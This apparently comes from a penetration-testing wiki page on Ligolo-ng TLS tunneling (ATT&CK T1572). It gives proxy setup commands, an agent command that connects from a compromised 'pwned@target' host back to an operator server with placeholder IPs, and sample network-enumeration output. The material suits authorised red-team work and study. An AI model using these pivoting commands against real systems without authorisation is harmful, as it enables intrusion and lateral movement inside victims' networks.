TLS Tunneling (Ligolo-ng)
MITRE ATT&CK™ Protocol Tunneling - Technique T1572
Theory
Practice
# Use in self-signed mode
# if -laddr is not specified, default is 0.0.0.0:11601
./proxy -selfcert -laddr 0.0.0.0:<LISTENING_SVR_PORT>
# Use a custom certificate
./proxy -certfile <cert.pem> -keyfile <key.pem># Connect if server is in self-signed mode
./agent -connect <LIGOLO_SVR_IP>:<LISTENING_SVR_PORT> -ignore-cert
# Connect
./agent -connect <LIGOLO_SERVER_IP>:<SRV_LISTENING_PORT># Choose the agent
ligolo-ng » session
# Enumerate network
[Agent : pwned@target] » ifconfig
[...]
┌───────────────────────────────────────────────┐
│ Interface 2 │
├──────────────┬────────────────────────────────┤
│ Name │ ens224 │
│ Hardware MAC │ 00:50:56:86:dd:bd │
│ MTU │ 1500 │
│ Flags │ up|broadcast|multicast|running │
│ IPv4 Address │ 10.10.10.63/24 │
└──────────────┴────────────────────────────────┘Resources
Last updated